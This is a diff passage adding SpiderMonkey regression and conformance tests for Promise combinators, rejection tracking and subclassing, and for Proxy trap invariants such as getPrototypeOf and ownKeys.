+ rejectType: TypeError,
+ closed: true,
+});
+
+// ES 2017 draft 7.4.6 steps 6.
+// if return method throws, the thrown value should be ignored.
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ throw "return throws";
+ };
+ },
+ rejectReason: "then throws",
+ closed: true,
+});
+
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ iterator.return = function() {
+ iterable.closed = true;
+ return "non object";
+ };
+ },
+ rejectReason: "then throws",
+ closed: true,
+});
+
+// == Error cases without close ==
+
+// ES 2017 draft 25.4.4.1.1 step 6.a.
+test(Promise, ["all", "race"], {
+ nextThrowVal: "next throws",
+ rejectReason: "next throws",
+ closed: false,
+});
+
+test(Promise, ["all", "race"], {
+ nextVal: { value: {}, get done() { throw "done getter throws"; } },
+ rejectReason: "done getter throws",
+ closed: false,
+});
+
+// ES 2017 draft 25.4.4.1.1 step 6.e.
+test(Promise, ["all", "race"], {
+ nextVal: { get value() { throw "value getter throws"; }, done: false },
+ rejectReason: "value getter throws",
+ closed: false,
+});
+
+// ES 2017 draft 25.4.4.1.1 step 6.d.iii.2.
+let first = true;
+class MyPromiseResolveThrows extends Promise {
+ constructor(executer) {
+ if (first) {
+ first = false;
+ super((resolve, reject) => {
+ executer(() => {
+ throw "resolve throws";
+ }, reject);
+ });
+ return;
+ }
+ super(executer);
+ }
+};
+test(MyPromiseResolveThrows, ["all"], {
+ nextVal: { value: undefined, done: true },
+ rejectReason: "resolve throws",
+ closed: false,
+});
+
+// == Successful cases ==
+
+test(Promise, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ closed: false,
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Promise/iterator-primitive.js b/js/src/tests/non262/Promise/iterator-primitive.js
new file mode 100644
index 0000000000..cfc3a4ed32
--- /dev/null
+++ b/js/src/tests/non262/Promise/iterator-primitive.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertEventuallyThrows(Promise.all(arg), TypeError);
+ assertEventuallyThrows(Promise.race(arg), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/methods-non-enumerable.js b/js/src/tests/non262/Promise/methods-non-enumerable.js
new file mode 100644
index 0000000000..ea2228894b
--- /dev/null
+++ b/js/src/tests/non262/Promise/methods-non-enumerable.js
@@ -0,0 +1,4 @@
+assertEq(Object.keys(Promise).length, 0);
+assertEq(Object.keys(Promise.prototype).length, 0);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/promise-all.js b/js/src/tests/non262/Promise/promise-all.js
new file mode 100644
index 0000000000..3ae58fc384
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-all.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+let results = [];
+
+let p1 = new Promise(res=>res('result'))
+ .then(val=>{results.push('then ' + val); return 'first then rval';})
+ .then(val=>{results.push('chained then with val: ' + val); return 'p1 then, then'});
+
+let p2 = new Promise((res, rej)=>rej('rejection'))
+ .catch(val=> {results.push('catch ' + val); return results.length;})
+ .then(val=>{results.push('then after catch with val: ' + val); return 'p2 catch, then'},
+ val=>{throw new Error("mustn't be called")});
+
+Promise.all([p1, p2]).then(res => results.push(res + ''));
+
+drainJobQueue();
+
+assertEq(results.length, 5);
+assertEq(results[0], 'then result');
+assertEq(results[1], 'catch rejection');
+assertEq(results[2], 'chained then with val: first then rval');
+assertEq(results[3], 'then after catch with val: 2');
+assertEq(results[4], 'p1 then, then,p2 catch, then');
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/promise-basics.js b/js/src/tests/non262/Promise/promise-basics.js
new file mode 100644
index 0000000000..ad186537fe
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-basics.js
@@ -0,0 +1,96 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+let results = [];
+
+new Promise(res=>res('result'))
+ .then(val=>{results.push('then ' + val); return 'first then rval';})
+ .then(val=>results.push('chained then with val: ' + val));
+
+new Promise((res, rej)=>rej('rejection'))
+ .catch(val=>{results.push('catch ' + val); return results.length;})
+ .then(val=>results.push('then after catch with val: ' + val),
+ val=>{throw new Error("mustn't be called")});
+
+new Promise((res, rej)=> {res('result'); rej('rejection'); })
+ .catch(val=>{throw new Error("mustn't be called");})
+ .then(val=>results.push('then after resolve+reject with val: ' + val),
+ val=>{throw new Error("mustn't be called")});
+
+new Promise((res, rej)=> { rej('rejection'); res('result'); })
+ .catch(val=>{results.push('catch after reject+resolve with val: ' + val);})
+
+
+drainJobQueue();
+
+assertEq(results.length, 6);
+assertEq(results[0], 'then result');
+assertEq(results[1], 'catch rejection');
+assertEq(results[2], 'catch after reject+resolve with val: rejection');
+assertEq(results[3], 'chained then with val: first then rval');
+assertEq(results[4], 'then after catch with val: 2');
+assertEq(results[5], 'then after resolve+reject with val: result');
+
+results = [];
+
+Promise.resolve('resolution').then(res=>results.push(res),
+ rej=>{ throw new Error("mustn't be called"); });
+
+let thenCalled = false;
+Promise.reject('rejection').then(_=>{thenCalled = true},
+ rej=>results.push(rej));
+
+drainJobQueue();
+
+assertEq(thenCalled, false);
+assertEq(results.length, 2);
+assertEq(results[0], 'resolution');
+assertEq(results[1], 'rejection');
+
+
+function callback() {}
+
+// Calling the executor function with content functions shouldn't assert:
+Promise.resolve.call(function(exec) { exec(callback, callback); });
+Promise.reject.call(function(exec) { exec(callback, callback); });
+Promise.all.call(function(exec) { exec(callback, callback); });
+Promise.race.call(function(exec) { exec(callback, callback); });
+
+let resolveResult = undefined;
+function resolveFun() {resolveResult = "resolveCalled";}
+Promise.resolve.call(function(exec) { exec(resolveFun, callback); });
+assertEq(resolveResult, "resolveCalled");
+
+let rejectResult = undefined;
+function rejectFun() {rejectResult = "rejectCalled";}
+Promise.reject.call(function(exec) { exec(callback, rejectFun); });
+assertEq(rejectResult, "rejectCalled");
+
+// These should throw:
+var wasCalled = false;
+var hasThrown = false;
+try {
+ // Calling the executor function twice, providing a resolve callback both times.
+ Promise.resolve.call(function(executor) {
+ wasCalled = true;
+ executor(callback, undefined);
+ executor(callback, callback);
+ });
+} catch (e) {
+ hasThrown = true;
+}
+assertEq(wasCalled, true);
+assertEq(hasThrown, true);
+
+var hasThrown = false;
+try {
+ // Calling the executor function twice, providing a reject callback both times.
+ Promise.resolve.call(function(executor) {
+ executor(undefined, callback);
+ executor(callback, callback);
+ });
+} catch (e) {
+ hasThrown = true;
+}
+assertEq(hasThrown, true);
+
+this.reportCompare && reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/promise-rejection-tracking-optimized.js b/js/src/tests/non262/Promise/promise-rejection-tracking-optimized.js
new file mode 100644
index 0000000000..c085b9dba8
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-rejection-tracking-optimized.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs setPromiseRejectionTrackerCallback
+
+const UNHANDLED = 0;
+const HANDLED = 1;
+
+let rejections = new Map();
+function rejectionTracker(promise, state) {
+ rejections.set(promise, state);
+}
+setPromiseRejectionTrackerCallback(rejectionTracker);
+
+// If the return value of then is not used, the promise object is optimized
+// away, but if a rejection happens, the rejection should be notified.
+Promise.resolve().then(() => { throw 1; });
+drainJobQueue();
+
+assertEq(rejections.size, 1);
+
+let [[promise, state]] = rejections;
+assertEq(state, UNHANDLED);
+
+let exc;
+promise.catch(x => { exc = x; });
+drainJobQueue();
+
+// we handled it after all
+assertEq(rejections.get(promise), HANDLED);
+
+// the right exception was reported
+assertEq(exc, 1);
+
+if (this.reportCompare) {
+ reportCompare(true,true);
+}
diff --git a/js/src/tests/non262/Promise/promise-rejection-tracking.js b/js/src/tests/non262/Promise/promise-rejection-tracking.js
new file mode 100644
index 0000000000..a596fa6a99
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-rejection-tracking.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs setPromiseRejectionTrackerCallback
+
+const UNHANDLED = 0;
+const HANDLED = 1;
+
+let rejections = new Map();
+function rejectionTracker(promise, state) {
+ rejections.set(promise, state);
+}
+setPromiseRejectionTrackerCallback(rejectionTracker);
+
+// Unhandled rejections are tracked.
+let reject;
+let p = new Promise((res_, rej_) => (reject = rej_));
+assertEq(rejections.has(p), false);
+reject('reason');
+assertEq(rejections.get(p), UNHANDLED);
+// Later handling updates the tracking.
+p.then(_=>_, _=>_);
+assertEq(rejections.get(p), HANDLED);
+
+rejections.clear();
+
+// Handled rejections aren't tracked at all.
+p = new Promise((res_, rej_) => (reject = rej_));
+assertEq(rejections.has(p), false);
+p.then(_=>_, _=>_);
+reject('reason');
+assertEq(rejections.has(p), false);
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/promise-species.js b/js/src/tests/non262/Promise/promise-species.js
new file mode 100644
index 0000000000..52a4ecb632
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-species.js
@@ -0,0 +1,8 @@
+assertEq(Promise[Symbol.species], Promise);
+let prop = Object.getOwnPropertyDescriptor(Promise, Symbol.species);
+assertEq('get' in prop, true);
+assertEq(typeof prop.get, 'function');
+assertEq('set' in prop, true);
+assertEq(prop.set, undefined);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/promise-subclassing.js b/js/src/tests/non262/Promise/promise-subclassing.js
new file mode 100644
index 0000000000..7232205f45
--- /dev/null
+++ b/js/src/tests/non262/Promise/promise-subclassing.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+let results = [];
+
+class SubPromise extends Promise {
+ constructor(executor) {
+ results.push('SubPromise ctor called');
+ super(executor);
+ }
+ then(res, rej) {
+ results.push('SubPromise#then called');
+ return intermediatePromise = super.then(res, rej);
+ }
+}
+
+let subPromise = new SubPromise(function(res, rej) {
+ results.push('SubPromise ctor called executor');
+ res('result');
+});
+
+let intermediatePromise;
+let allSubPromise = SubPromise.all([subPromise]);
+
+assertEq(subPromise instanceof SubPromise, true);
+assertEq(allSubPromise instanceof SubPromise, true);
+assertEq(intermediatePromise instanceof SubPromise, true);
+
+expected = [
+'SubPromise ctor called',
+'SubPromise ctor called executor',
+'SubPromise ctor called',
+'SubPromise#then called',
+'SubPromise ctor called',
+];
+
+assertEq(results.length, expected.length);
+expected.forEach((expected,i) => assertEq(results[i], expected));
+
+subPromise.then(val=>results.push('subPromise.then with val ' + val));
+allSubPromise.then(val=>results.push('allSubPromise.then with val ' + val));
+
+expected.forEach((expected,i) => assertEq(results[i], expected));
+expected = expected.concat([
+'SubPromise#then called',
+'SubPromise ctor called',
+'SubPromise#then called',
+'SubPromise ctor called',
+]);
+
+assertEq(results.length, expected.length);
+expected.forEach((expected,i) => assertEq(results[i], expected));
+
+drainJobQueue();
+
+expected = expected.concat([
+'subPromise.then with val result',
+'allSubPromise.then with val result',
+]);
+
+assertEq(results.length, expected.length);
+
+this.reportCompare && reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/self-resolve.js b/js/src/tests/non262/Promise/self-resolve.js
new file mode 100644
index 0000000000..53f76a99ce
--- /dev/null
+++ b/js/src/tests/non262/Promise/self-resolve.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+// Resolve Promise with itself by directly calling the "Promise Resolve Function".
+let resolve;
+let promise = new Promise(function(x) { resolve = x; });
+resolve(promise)
+
+let results = [];
+promise.then(res => assertEq(true, false, "not reached")).catch(res => {
+ assertEq(res instanceof TypeError, true);
+ results.push("rejected");
+});
+
+drainJobQueue()
+
+assertEq(results.length, 1);
+assertEq(results[0], "rejected");
+
+
+// Resolve Promise with itself when the "Promise Resolve Function" is called
+// from (the fast path in) PromiseReactionJob.
+results = [];
+
+promise = new Promise(x => { resolve = x; });
+let promise2 = promise.then(() => promise2);
+
+promise2.then(() => assertEq(true, false, "not reached"), res => {
+ assertEq(res instanceof TypeError, true);
+ results.push("rejected");
+});
+
+resolve();
+
+drainJobQueue();
+
+assertEq(results.length, 1);
+assertEq(results[0], "rejected");
+
+
+this.reportCompare && reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Promise/shell.js b/js/src/tests/non262/Promise/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Promise/shell.js
diff --git a/js/src/tests/non262/Proxy/browser.js b/js/src/tests/non262/Proxy/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Proxy/browser.js
diff --git a/js/src/tests/non262/Proxy/define-writable-as-non-writable.js b/js/src/tests/non262/Proxy/define-writable-as-non-writable.js
new file mode 100644
index 0000000000..f764d278f0
--- /dev/null
+++ b/js/src/tests/non262/Proxy/define-writable-as-non-writable.js
@@ -0,0 +1,19 @@
+"use strict";
+
+var target = {};
+Object.defineProperty(target, "test", {configurable: false, writable: true, value: 5});
+
+var proxy = new Proxy(target, {
+ defineProperty(target, property) {
+ assertEq(property, "test");
+ return true;
+ }
+});
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(proxy, "test", {writable: false}), TypeError);
+
+assertThrowsInstanceOf(
+ () => Reflect.defineProperty(proxy, "test", {writable: false}), TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/delete-non-extensible.js b/js/src/tests/non262/Proxy/delete-non-extensible.js
new file mode 100644
index 0000000000..b31216bb65
--- /dev/null
+++ b/js/src/tests/non262/Proxy/delete-non-extensible.js
@@ -0,0 +1,18 @@
+"use strict";
+
+var target = { test: true };
+Object.preventExtensions(target);
+
+var proxy = new Proxy(target, {
+ deleteProperty(target, property) {
+ return true;
+ }
+});
+
+assertEq(delete proxy.missing, true);
+assertEq(Reflect.deleteProperty(proxy, "missing"), true);
+
+assertThrowsInstanceOf(() => { delete proxy.test; }, TypeError);
+assertThrowsInstanceOf(() => Reflect.deleteProperty(proxy, "test"), TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/getPrototypeOf.js b/js/src/tests/non262/Proxy/getPrototypeOf.js
new file mode 100644
index 0000000000..a0676c0c91
--- /dev/null
+++ b/js/src/tests/non262/Proxy/getPrototypeOf.js
@@ -0,0 +1,285 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "getPrototypeOf.js";
+var BUGNUMBER = 888969;
+var summary = "Scripted proxies' [[GetPrototypeOf]] behavior";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+const log = [];
+
+function observe(obj)
+{
+ var observingHandler = new Proxy({}, {
+ get(target, p, receiver) {
+ log.push(p);
+ return Reflect.get(target, p, receiver);
+ }
+ });
+
+ return new Proxy(obj, observingHandler);
+}
+
+function nop() {}
+
+var p, h;
+
+// 1. Let handler be the value of the [[ProxyHandler]] internal slot of O.
+// 2. If handler is null, throw a TypeError exception.
+// 3. Assert: Type(handler) is Object.
+var rev = Proxy.revocable({}, {});
+p = rev.proxy;
+
+assertEq(Object.getPrototypeOf(p), Object.prototype);
+rev.revoke();
+assertThrowsInstanceOf(() => Object.getPrototypeOf(p), TypeError);
+
+// 4. Let target be the value of the [[ProxyTarget]] internal slot of O.
+// 5. Let trap be ? GetMethod(handler, "getPrototypeOf").
+
+// Getting handler.getPrototypeOf might throw.
+assertThrowsValue(() => Object.getPrototypeOf(new Proxy({},
+ { get getPrototypeOf() {
+ throw 17;
+ } })),
+ 17);
+
+// The handler's getPrototypeOf, once gotten, might throw.
+p = new Proxy({}, { getPrototypeOf() { throw 42; } });
+
+assertThrowsValue(() => Object.getPrototypeOf(p), 42);
+
+// The trap might not be callable.
+p = new Proxy({}, { getPrototypeOf: 17 });
+
+assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+// 6. If trap is undefined, then
+// a. Return ? target.[[GetPrototypeOf]]().
+
+var x, tp;
+
+tp =
+ new Proxy(new Number(8675309), // behavior overridden by getPrototypeOf
+ { getPrototypeOf() { x = "getPrototypeOf trap"; return null; } });
+
+// The target's [[GetPrototypeOf]] should be invoked if the handler's
+// .getPrototypeOf is undefined.
+p = new Proxy(tp, { getPrototypeOf: undefined });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), null);
+assertEq(x, "getPrototypeOf trap");
+
+// Likewise if the handler's .getPrototypeOf is null.
+p = new Proxy(tp, { getPrototypeOf: null });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), null);
+assertEq(x, "getPrototypeOf trap");
+
+// Now the target is an empty object with a Number object as its [[Prototype]].
+var customProto = new Number(8675309);
+tp =
+ new Proxy({},
+ { getPrototypeOf() {
+ x = "getPrototypeOf trap";
+ return customProto;
+ } });
+
+// The target's [[GetPrototypeOf]] should be invoked if the handler's
+// .getPrototypeOf is undefined.
+p = new Proxy(tp, { getPrototypeOf: undefined });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), customProto);
+assertEq(x, "getPrototypeOf trap");
+
+// Likewise if the handler's .getPrototypeOf is null.
+p = new Proxy(tp, { getPrototypeOf: null });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), customProto);
+assertEq(x, "getPrototypeOf trap");
+
+// 7. Let handlerProto be ? Call(trap, handler, « target »).
+
+// The trap callable might throw.
+p = new Proxy({}, { getPrototypeOf() { throw "ohai"; } });
+
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "ohai");
+
+var throwingTrap =
+ new Proxy(function() { throw "not called"; },
+ { apply() { throw 37; } });
+
+p = new Proxy({}, { getPrototypeOf: throwingTrap });
+
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ 37);
+
+// The trap callable must *only* be called.
+p = new Proxy({},
+ {
+ getPrototypeOf: observe(function() { throw "boo-urns"; })
+ });
+
+log.length = 0;
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "boo-urns");
+
+assertEq(log.length, 1);
+assertEq(log[0], "apply");
+
+// 8. If Type(handlerProto) is neither Object nor Null, throw a TypeError exception.
+
+var rval;
+
+var typeTestingTarget = {};
+p = new Proxy(typeTestingTarget, { getPrototypeOf() { return rval; } });
+
+function returnsPrimitives()
+{
+ rval = undefined;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = true;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = false;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = 0.0;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = -0.0;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = 3.141592654;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = NaN;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = -Infinity;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = "[[Prototype]] FOR REALZ";
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = Symbol("[[Prototype]] FOR REALZ");
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+}
+
+returnsPrimitives();
+Object.preventExtensions(typeTestingTarget);
+returnsPrimitives();
+
+// 9. Let extensibleTarget be ? IsExtensible(target).
+
+var act, extens;
+
+var typeTestingProxyTarget =
+ new Proxy({}, { isExtensible() {
+ seen = act();
+ return extens;
+ } });
+
+p = new Proxy(typeTestingProxyTarget, { getPrototypeOf() { return rval; } });
+
+rval = null;
+act = () => { throw "fnord" };
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "fnord");
+
+rval = /abc/;
+act = () => { throw "fnord again" };
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "fnord again");
+
+rval = Object.prototype;
+act = () => { throw "fnord" };
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "fnord");
+
+// 10. If extensibleTarget is true, return handlerProto.
+
+p = new Proxy({}, { getPrototypeOf() { return rval; } });
+
+rval = Number.prototype;
+assertEq(Object.getPrototypeOf(p), Number.prototype);
+
+// 11. Let targetProto be ? target.[[GetPrototypeOf]]().
+
+var targetProto;
+
+var targetWithProto =
+ new Proxy(Object.preventExtensions(Object.create(null)),
+ { getPrototypeOf() { act2(); return targetProto; } });
+
+p = new Proxy(targetWithProto,
+ { getPrototypeOf() { act1(); return rval; } });
+
+rval = null;
+targetProto = null;
+
+var regex = /targetProto/;
+
+act1 = () => log.push("act1");
+act2 = () => log.push("act2");
+
+log.length = 0;
+assertEq(Object.getPrototypeOf(p), null);
+assertEq(log.length, 2);
+assertEq(log[0], "act1");
+assertEq(log[1], "act2");
+
+act1 = () => log.push("act1 again");
+act2 = () => { throw "target throw"; };
+
+log.length = 0;
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "target throw");
+assertEq(log.length, 1);
+assertEq(log[0], "act1 again");
+
+// 12. If SameValue(handlerProto, targetProto) is false, throw a TypeError exception.
+
+act1 = act2 = nop;
+rval = /a/;
+assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+// 13. Return handlerProto.
+
+rval = null;
+targetProto = null;
+
+assertEq(Object.getPrototypeOf(p), null);
+
+p = new Proxy(Object.preventExtensions(new Number(55)),
+ { getPrototypeOf() { return Number.prototype; } });
+
+assertEq(Object.getPrototypeOf(p), Number.prototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/global-receiver.js b/js/src/tests/non262/Proxy/global-receiver.js
new file mode 100644
index 0000000000..b2d160c0dd
--- /dev/null
+++ b/js/src/tests/non262/Proxy/global-receiver.js
@@ -0,0 +1,35 @@
+// The global object can be the receiver passed to the get and set traps of a Proxy.
+var global = this;
+var proto = Object.getPrototypeOf(global);
+var gets = 0, sets = 0;
+
+try {
+ Object.setPrototypeOf(global, new Proxy(proto, {
+ has(t, id) {
+ return id === "bareword" || Reflect.has(t, id);
+ },
+ get(t, id, r) {
+ gets++;
+ assertEq(r, global);
+ return Reflect.get(t, id, r);
+ },
+ set(t, id, v, r) {
+ sets++;
+ assertEq(r, global);
+ return Reflect.set(t, id, v, r);
+ }
+ }));
+} catch (e) {
+ global.bareword = undefined;
+ gets = 1;
+ sets = 1;
+}
+
+assertEq(bareword, undefined);
+assertEq(gets, 1);
+
+bareword = 12;
+assertEq(sets, 1);
+assertEq(global.bareword, 12);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/hasInstance.js b/js/src/tests/non262/Proxy/hasInstance.js
new file mode 100644
index 0000000000..bbdffb2273
--- /dev/null
+++ b/js/src/tests/non262/Proxy/hasInstance.js
@@ -0,0 +1,13 @@
+var get = [];
+var fun = function() {}
+var p = new Proxy(fun, {
+ get(target, key) {
+ get.push(key);
+ return target[key];
+ }
+});
+
+assertEq(new fun instanceof p, true);
+assertDeepEq(get, [Symbol.hasInstance, "prototype"]);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/json-stringify-replacer-array-revocable-proxy.js b/js/src/tests/non262/Proxy/json-stringify-replacer-array-revocable-proxy.js
new file mode 100644
index 0000000000..5d667e353a
--- /dev/null
+++ b/js/src/tests/non262/Proxy/json-stringify-replacer-array-revocable-proxy.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = "json-stringify-replacer-array-revocable-proxy.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1196497;
+var summary =
+ "Don't assert when JSON.stringify is passed a revocable proxy to an array, " +
+ "then that proxy is revoked midflight during stringification";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+var { proxy, revoke } = Proxy.revocable(arr, {
+ get(thisv, prop, receiver) {
+ // First (and only) get will be for "length", to determine the length of the
+ // list of properties to serialize. Returning 0 uses the empty list,
+ // resulting in |a: 0| being ignored below.
+ assertEq(thisv, arr);
+ assertEq(prop, "length");
+ assertEq(receiver, proxy);
+
+ revoke();
+ return 0;
+ }
+});
+
+assertEq(JSON.stringify({a: 0}, proxy), "{}");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/ownkeys-allowed-types.js b/js/src/tests/non262/Proxy/ownkeys-allowed-types.js
new file mode 100644
index 0000000000..028ab85128
--- /dev/null
+++ b/js/src/tests/non262/Proxy/ownkeys-allowed-types.js
@@ -0,0 +1,20 @@
+function makeProxy(type) {
+ return new Proxy({}, { ownKeys() { return [type]; } });
+}
+
+for (var type of [123, 12.5, true, false, undefined, null, {}, []]) {
+ var proxy = makeProxy(type);
+ assertThrowsInstanceOf(() => Object.ownKeys(proxy), TypeError);
+ assertThrowsInstanceOf(() => Object.getOwnPropertyNames(proxy), TypeError);
+}
+
+type = Symbol();
+proxy = makeProxy(type);
+assertEq(Object.getOwnPropertySymbols(proxy)[0], type);
+
+type = "abc";
+proxy = makeProxy(type);
+assertEq(Object.getOwnPropertyNames(proxy)[0], type);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/ownkeys-linear.js b/js/src/tests/non262/Proxy/ownkeys-linear.js
new file mode 100644
index 0000000000..7b05a93846
--- /dev/null
+++ b/js/src/tests/non262/Proxy/ownkeys-linear.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'ownkeys-linear.js';
+var BUGNUMBER = 1257779;
+var summary =
+ "Scripted proxies' [[OwnPropertyKeys]] should have linear complexity";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Making this 50k makes cgc builds time out on tbpl. 5k takes 28s locally.
+// 10k takes 84s locally. So pick an intermediate number, with a generous
+// constant factor in case cgc-on-tbpl is much slower.
+const HALF_COUNT = 7500;
+
+var configurables = [];
+for (var i = 0; i < HALF_COUNT; i++)
+ configurables.push("conf" + i);
+
+var nonconfigurables = [];
+for (var i = 0; i < HALF_COUNT; i++)
+ nonconfigurables.push("nonconf" + i);
+
+var target = {};
+for (var name of configurables)
+ Object.defineProperty(target, name, { configurable: false, value: 0 });
+for (var name of nonconfigurables)
+ Object.defineProperty(target, name, { configurable: true, value: 0 });
+
+var handler = {
+ ownKeys(t) {
+ assertEq(t, target, "target mismatch!");
+
+ var trapResult = [];
+
+ // Append all nonconfigurables in reverse order of presence.
+ for (var i = nonconfigurables.length; i > 0; i--)
+ trapResult.push(nonconfigurables[i - 1]);
+
+ // Then the same for all configurables.
+ for (var i = configurables.length; i > 0; i--)
+ trapResult.push(configurables[i - 1]);
+
+ // The end consequence is that this ordering is exactly opposite the
+ // ordering they'll have on the target, and so worst-case performance will
+ // occur if the spec's |uncheckedResultKeys| structure is a vector having
+ // the same order as |trapResult|, searched from beginning to end in the
+ // presence-checks in the last few steps of the [[OwnPropertyKeys]]
+ // algorithm.
+ return trapResult;
+ }
+};
+
+var p = new Proxy(target, handler);
+
+// The test passes if it doesn't time out.
+assertEq(Object.getOwnPropertyNames(p).length, HALF_COUNT * 2);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/ownkeys-trap-duplicates.js b/js/src/tests/non262/Proxy/ownkeys-trap-duplicates.js
new file mode 100644
index 0000000000..d525662657
--- /dev/null
+++ b/js/src/tests/non262/Proxy/ownkeys-trap-duplicates.js
@@ -0,0 +1,33 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'ownkeys-trap-duplicates.js';
+var BUGNUMBER = 1293995;
+var summary =
+ "Scripted proxies' [[OwnPropertyKeys]] should not throw if the trap " +
+ "implementation returns duplicate properties and the object is " +
+ "non-extensible or has non-configurable properties." +
+ "Revised (bug 1389752): Throw TypeError for duplicate properties.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var target = Object.preventExtensions({ a: 1 });
+var proxy = new Proxy(target, { ownKeys(t) { return ["a", "a"]; } });
+assertThrowsInstanceOf(() => Object.getOwnPropertyNames(proxy), TypeError);
+
+target = Object.freeze({ a: 1 });
+proxy = new Proxy(target, { ownKeys(t) { return ["a", "a"]; } });
+assertThrowsInstanceOf(() => Object.getOwnPropertyNames(proxy), TypeError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
